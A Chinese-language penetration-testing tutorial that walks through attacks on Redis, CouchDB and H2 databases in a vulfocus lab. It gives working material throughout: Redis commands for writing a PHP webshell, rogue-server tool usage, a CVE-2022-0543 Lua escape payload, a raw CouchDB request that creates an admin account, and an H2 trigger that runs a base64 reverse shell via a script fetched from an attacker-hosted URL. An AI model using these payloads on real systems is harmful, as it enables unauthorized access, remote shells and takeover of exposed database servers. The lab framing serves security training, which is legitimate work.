数据库安全&&Redis && CouchDB && H2DB

环境部署

我使用的是vulfocus的靶场

百度网盘 请输入提取码

f9i2

docker机密码是123

我直接使用的docker机  可以直接下载然后执行下边的命令进行一键部署

docker run -p 666:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=0.0.0.0 dockerproxy.net/vulfocus/vulfocus:latest

Redis数据库的利用

redis数据库这个东西就像在互联网上裸奔(他的登录是不需要账号密码的 可以直接未授权登录到数据库内部)

Redis数据库的特征

1、数据库的端口 :6379

使用专属的连接工具进行连接  

连接数据库成功 但是这个ip是个蜜罐

有人可能会问 为什么访问不了啊 他这个是数据库没有http服务

CNVD-2015-07557

成因就是redis未开启身份认证

第一种利用方法:需要使用到webshell的写入
各个主流数据库的最高权限

这个有条件就是 对方的web目录开起了读写权限并且它不是个docekr容器 我们还需要知道他的web目录 

靶场打不开是正常的

利用条件:Web目录权限可读写
config set dir /tmp            #设置WEB写入目录
config set dbfilename 1.php    #设置写入文件名
set test "<?php phpinfo();?>"  #设置写入文件代码
bgsave                         #保存执行
save                           #保存执行

现在我们找一下写入的 1.php

发现没有啊 什么情况? 因为我们靶场是docker搭建的  还有个问题就是 redis其实是不太适合在win 上搭建的所以很常见的就是在linux上搭建的

对方是docker容器的话就会导致我们的木马无法运行影响到对方的宿主机(docekr容器锁权限 阻止我们的渗透)

这个CVE比较老了 可以直接使用项目进行梭哈

https://github.com/n0b0dyCN/redis-rogue-server
使用
python redis-rogue-server.py --rhost 目标IP --rport 目标端口 --lhost IP

这个需要先使用linux进行make编译一下编译

然后直接运行一下(要运行2次 第一次是检测会报错 第二次会成功)

我们可以看到当前用户不是最高用户(这个就涉及到数据库用户的提权)

CVE-2022-0543

命令执行 : 执行POC 

Poc:执行id命令
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

可以执行命令

简单的反弹一个shell

执行whoami发现是root用户 上面的获取是普通的用户 说明管理员给与的权限并不是最高的 但是可以碰碰运气

CNVD-2019-21763

可能有人问cnvd和cve有什么区别(cnvd是中国的漏洞 cve是世界的)

https://github.com/vulhub/redis-rogue-getshell
先进入RedisModulesSDK/exp 进行make

python redis-master.py -r 192.168.248.132 -p 56422 -L 192.168.248.135 -P 8888 -f RedisModulesSDK/exp.so -c "id"

Couchdb数据库利用

特征:默认端口:5984

除了这些他的一个首要特征就是可以在网页中进行数据库的管理当然也可以使用url进行数据库的相关操作(就这个可能会导致安全问题)

【couchDB】超轻量、高可用、可扩展、restful数据库couchDB_哔哩哔哩_bilibili

在网页输入 /_utils 运气好可能进入到数据库后台

还有一个特征就是这个数据库储存的是json数据

Couchdb没授权漏洞

探针 :访问就是 /_utils     如果让你登录就是进入后台了

当然这里利用的是未授权去重置他的账号密码

修改数据包新建一个用户

复现的时候只需要改 host  ua  信息即可


PUT /_users/org.couchdb.user:xiaodi HTTP/1.1
Host: 192.168.248.132:42753
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: */*
Accept-Language: en
Connection: close
Content-Type: application/json
Content-Length: 108

{
  "type": "user",
  "name": "xiaodi",
  "roles": ["_admin"],
  "roles": [],
  "password": "xiaodi"
}

使用xiaodi  xiaodi进行登录

Couchdb命令执行

利用的exp

https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py

修改一个目标web和反弹到的地址

如果失败就是重新生成一个反弹shell写到 command 上 

H2Ddatabase

特征:默认端口:20051

还有个个特征就是h2db是springboot自带的数据库  需要使用springboot的yml 配置文件进行配置

后台的管理页面    /h2-console

h2db未授权访问

就是因为这个内存地址

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\

未授权还是比较少见

Rce命令执行

原理 : 创建一个sql文件  里面放上数据和我们准备的反弹shell  然后放到其他web目录下  然后让修改jdbc内存地址  实现反弹

-创建数据库文件:h2database.sql
CREATE TABLE test (
     id INT NOT NULL
 );
CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}");';

 

然后我们使用python启用一个终端

python3 -m http.server 666  (终端)

构造paylaod 让 其去访问jdbc内存

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://192.168.248.135/h2database.sql';\

攻击机监听

当我们点击测试连接的时候服务器日志就会出现 访问的记录

这个还是个root用户

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值